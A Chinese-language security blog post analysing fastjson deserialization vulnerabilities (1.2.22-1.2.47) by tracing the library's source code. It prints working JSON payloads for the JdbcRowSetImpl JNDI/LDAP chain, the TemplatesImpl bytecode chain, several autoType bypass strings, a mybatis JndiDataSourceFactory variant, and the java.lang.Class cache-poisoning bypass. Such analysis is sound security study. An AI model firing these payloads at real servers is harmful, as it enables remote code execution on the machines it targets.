Java安全之fastjson链分析
Java安全之fastjson链分析
前段时间有师傅来问了我fastjson的问题,虽然知道大概但没分析过具体链,最近有空了正好分析一下fastjson两个反序列化洞:
1.2.22=version=1.2.24
1.2.25=version=1.2.47
简述与使用
Fastjson是Alibaba开发的Java语言编写的高性能JSON库,用于将数据在JSON和Java Object之间互相转换,提供两个主要接口JSON.toJSONString和JSON.parseObject/JSON.parse来分别实现序列化和反序列化操作。
本文涉及相关实验:return _id; Main: 运行后得到了如下结果: 很明显的在序列化时会调用类中各属性的get方法,而反序列化时会调用其set方法。 在上述反序列化过程中需要多添加一个class类的参数: 而fastjson也提供了一种无需指定类的方式,称为autotype,而这种autotype正是导致反序列化漏洞的原因。 给序列化过程的函数指定第二个参数: 此时能够得到一个指定了type的json串: 再对其反序列化时就无需再指定对应的类了: 当未对@type字段进行完全的安全性验证,攻击者可以传入危险类,从而调用危险类对目标机进行攻击,接下来分析一下其过程。 先在JSON.parseObject处下个断点,跟入看看fastjson的反序列化过程。 首先进入到JSON.class中: 接着进入parse函数中: 使用了默认的解析方式DEFAULT_PARSER_FEATURE去解析我们的json串,继续跟入: 其构造器中有如下: 其会根据对应的 其中对于字符串的还有如下对于双字节字符的处理: \u或\x即是unicode或者16进制,而还有其他的如\v等,有师傅做了总结: 这一个点其实可以用在某些filter的绕过上。 继续上面的scan,获取到@type后会继续获取到其类名,最后赋值给typeName,此时会进一步调用TypeUtils.loadClass去加载类: 之后会从mappings中尝试取出class类(mappings中存放的是一些内置类): 如下,取不到后会去使用ClassLoader加载类并且将className和其class类put进mapping中。 接着进行反序列化: 一路跟去会有一个denyList: 这一个list默认情况下只有一个Thread类: 最后会去调用到set方法。 这个版本下有两条利用链:JdbcRowSetImpl和Templateslmpl,还有一条BasicDataSource,下面逐一分析。 首先该链有两种利用方式:RMI+JNDI和RMI+LDAP 其中我使用到的是jdk8u66,关于高版本的限制以及绕过方式可以参考: https://www.freebuf.com/column/207439.html 前面说到反序列化会调用到set方法,而漏洞的产生正是因为set方法,直接拿payload打一下: 直接在com.sun.rowset.JdbcRowSetImpl#setDataSourceName中下断点: 直接进入到else中直接将datasource设置为我们传入的值,再在setAutoCommit中下个断点: 同样进入else,关键在于这里的connect调用了lookup: 最后就造成了JNDI注入,LDAP同样如此,修改一下协议即可。 前面的链就不跟了,体力活,主要是了解其原理,具体可以看看: https://www.cnblogs.com/afanti/p/10193158.html https://xz.aliyun.com/t/8979#toc-6 payload我参考的是上面第二个链接,此处截取部分方便理解: 默认的知道以下划线开头是private属性,通过fastjson其实是无法直接赋值的,需要在parse时设置Feature.SupportNonPublicField强制给private属性赋值,因此这条链实际作用不大,不过分析一下锻炼一下代码审计能力。 首先是对于下划线的处理,在JavaBeanDeserializer#smartMatch中会处理掉下划线,之后去调用对应的set方法,bytecodes在最后会进行base64解码,并且bytecode是binary,fastjson中不支持反序列化此类字符串,因此这也是其为base64字符串的原因,而对于 因为在调用set方法时都是经过FieldDeserializer#setValue,因此在此处下个断点。 跟到下面调用到了getOutputProperties方法是通过invoke,之后就执行命令了: 但method的来源还需要追究一下。 经过不断debug能够在ParserConfig的createJavaBeanDeserializer检测到sortedFieldDeserializers的变化,而sortedFieldDeserializers正是获取到getOutputProperties的关键: 在createJavaBeanDeserializer中调用了JavaBeanInfo#build,一路debug能够发现获取一个set方法时是通过如下代码: 同样位于build函数下有一段获取getter的代码: 其中OutputProperties的getter就是从这里获取到,不过这还是无法解除关于为什么要获取getter的疑惑,回到前面的FieldDeserializer#setValue,在使用invoke调用getOutputProperties后,得到的是一个Map类,而随后会对map调用putAll: 也就说如果一个json串: 会需要将 跟入getOutputProperties->newTransformer->defineTransletClasses,实例化了bytecodes,然后在: 经过一系列调用最后就到了TEMPOC中执行到RCE: 省赛遇到的一道题才知道原来还有这条链,先mark下: http://blog.nsfocus.net/fastjson-basicdatasource-attack-chain-0521/ 该链只能用于Fastjson 1.2.24及更低版本,使用范围相较于前两条链而言较小,链接处文章写的也很详细,不做过多叙述。 直接拿着原来的链打会发现报错,发现多了一个ParserConfig.checkAutoType方法,在1.2.25中对DefaultJSONParser#parseObject中的TypeUtils.loadClass进行了修复: autoTypeSupport默认修改为false: 需要通过如下方式开启: 并且有一个denylist,来过滤掉前面用到的链中的类: 部分手动开启autoType的绕过链就不分析了,绕过的点也比较容易看出,具体看https://xz.aliyun.com/t/9052 这部分绕过个人感觉适用于ctf中,不做分析了,下面贴一下payload。 1.2.25-1.2.41 1.2.25-1.2.42 1.2.25-1.2.43 1.2.25-1.2.45 需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列3.5.0的版本 payload: 这条链是通杀的,比较厉害的是其不需要开启AutoTypeSupport,相对于上面提到的绕过而言利用面广泛的多,因此着重分析一下。 该链在1.2.32之前,如果开启了AutoTypeSupport则无法利用,在>1.2.32后五轮是否开启都可以利用。 payload: 前面提到在checkAutoType中有这么一个if: 因为autoTypeSupport默认为false,所以if内的代码都跳过了,而这条链的利用也无需这一个if,跟到后面: 这里的deserializers.findClass比较关键: 此处的this.buckets会发现其内置了很多的类,如: 那么问题也就是出在这里,我们目前传入的类是java.lang.class,而该类正处于这一个buckets中,而deserializers中有一个put方法,正是这一个方法将类放入白名单中从而避过了autotype的限制。 偏一下话题,稍微往前追溯一点能够找到如下一个初始化deserializers对象的方法: 白名单中的类都在此处。 比较好奇的是此处的class类的作用,在对class类进行反序列化时,其调用链如下: 此处的TypeUtils#loadClass在前面分析1.2.22-1.2.24链中提到过,其会尝试从mappings中取出类: 在取不到时会调用类加载器去加载类,此时就取到了 之后最致命的操作就是: 将 他会直接从mappings中取类,而前面已经将JdbcRowSetImpl放入mappings中,此时达成了绕过autotype关闭的限制。 开发目的应该是为了程序运行效率,省去每次都需要去重新加载类的麻烦,但却因为class在反序列化时会调用loader将其他类装载进来导致了绕过名单的后果。 而在1.2.48 修复了这一漏洞,将反序列化class对象时的cache设置为false: 此时就不会将class类装载进缓存中了。
}
public void set_id(int _id) {
System.out.println("set "+_id);
this._id = _id;
}
public String get_name() {
System.out.println("get "+_name);
return _name;
}
public void set_name(String _name) {
System.out.println("set "+_name);
this._name = _name;
}
public String get_passwd() {
System.out.println("get "+_passwd);
return _passwd;
}
public void set_passwd(String _passwd) {
System.out.println("set "+_passwd);
this._passwd = _passwd;
}
@Override
public String toString() {
return "JsonTest{" +
"_id=" + _id +
", _name='" + _name + '\'' +
", _passwd='" + _passwd + '\'' +
'}';
}
}public static void main(String[] args) {
JsonTest jsonTest = new JsonTest(1,"uname","passwd");
System.out.println("[1]================");
String str = JSON.toJSONString(jsonTest);
System.out.println("[2]================");
System.out.println(str);
System.out.println("[3]================");
Object jsonTest1 = JSON.parseObject(str,JsonTest.class);
System.out.println("[4]================");
System.out.println(jsonTest1);
}[1]================
get 1
get uname
get passwd
[2]================
{"id":1,"name":"uname","passwd":"passwd"}
[3]================
set 1
set uname
set passwd
[4]================
JsonTest{_id=1, _name='uname', _passwd='passwd'}JsonTest.class
JSON.toJSONString(jsonTest,SerializerFeature.WriteClassName);
{"@type":"org.example.JsonTest","id":1,"name":"uname","passwd":"passwd"}
Object jsonTest1 = JSON.parseObject(str);
System.out.println(jsonTest1);反序列化过程
public static Object parse(String text) {
return parse(text, DEFAULT_PARSER_FEATURE);
}public static Object parse(String text, int features) {
if (text == null) {
return null;
} else {
DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
Object value = parser.parse();
parser.handleResovleTask(value);
parser.close();
return value;
}
}int ch = lexer.getCurrent();
if (ch == '{') {
lexer.next();
((JSONLexerBase)lexer).token = 12;
} else if (ch == '[') {
lexer.next();
((JSONLexerBase)lexer).token = 14;
} else {
lexer.nextToken();
}{
或[
去设置token,之后通过scanSymbol来获取到@type
,并且autotype它还支持如下形式嵌套的串:[
{
"@type": "xxx.xxx",
"xxx": "xxx"
},
{
"@type": "xxx.xxx",
"xxx": {
"@type": ""
}
},
{
"@type": "xxx"
} : "xx",
{
"@type": "xxx"
} : "xx"
]\0 \1 \2 \3 \4 \5 \6 \7 \b \t \n \r \" \' \/ \\\
等,java字符串读入之后会变成两个字符,因此,fastjson会把它转换会单个字符
\f \F双字符都会转成单字符\f
\v双字符转成\u000B单字符
\x..四字符16进制数读取转成单字符
\u....六字符16进制数读取转成单字符ObjectDeserializer deserializer = this.config.getDeserializer(clazz);
thisObj = deserializer.deserialze(this, clazz, fieldName);
return thisObj;this.denyList = new String[]{"java.lang.Thread"};
1.2.22-1.2.24
JdbcRowSetImpl
public static void main(String[] args) {
String payload = "
{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:9999/badClassName\", \"autoCommit\":true}";
JSON.parse(payload);
}Templateslmpl
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64 str"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}
_outputProperties
这一个属性比较特殊,它调用到的不是set方法而是get方法,因此我着重跟一下它。Map map = (Map)method.invoke(object);
if (map != null) {
map.putAll((Map)value);
}{"@type": "xxx.xxx", "hhhm": {"key": "value"}}
{"key": "value"}
放入hhhm中,因此需要先调用get来获取到这一个map以便于后续的赋值。AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
BasicDataSource
1.2.25-1.2.45部分绕过
//1.2.24
Class?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
//1.2.25
Class?> clazz = config.checkAutoType(typeName);ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
{"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:1389/badNameClass", "autoCommit":true}
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/badNameClass"}}
1.2.25-1.2.47
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Exploit",
"autoCommit": true
}
}if (this.autoTypeSupport || expectClass != null)
deserializer#deserialze
->
TypeUtils#loadClass(strVal,parser.getConfig().getDefaultClassLoader())
//strVal=com.sun.rowset.JdbcRowSetImpl
->
TypeUtils#loadClass(className, classLoader, true)
//className=com.sun.rowset.JdbcRowSetImplClass?> clazz = (Class)mappings.get(className);
com.sun.rowset.JdbcRowSetImpl
。mappings.put(className, clazz);
com.sun.rowset.JdbcRowSetImpl
这一个类放入了mappings中,而在加载b字典中的JdbcRowSetImpl类时,调用到的是:if (cache) {
mappings.put(className, clazz);
}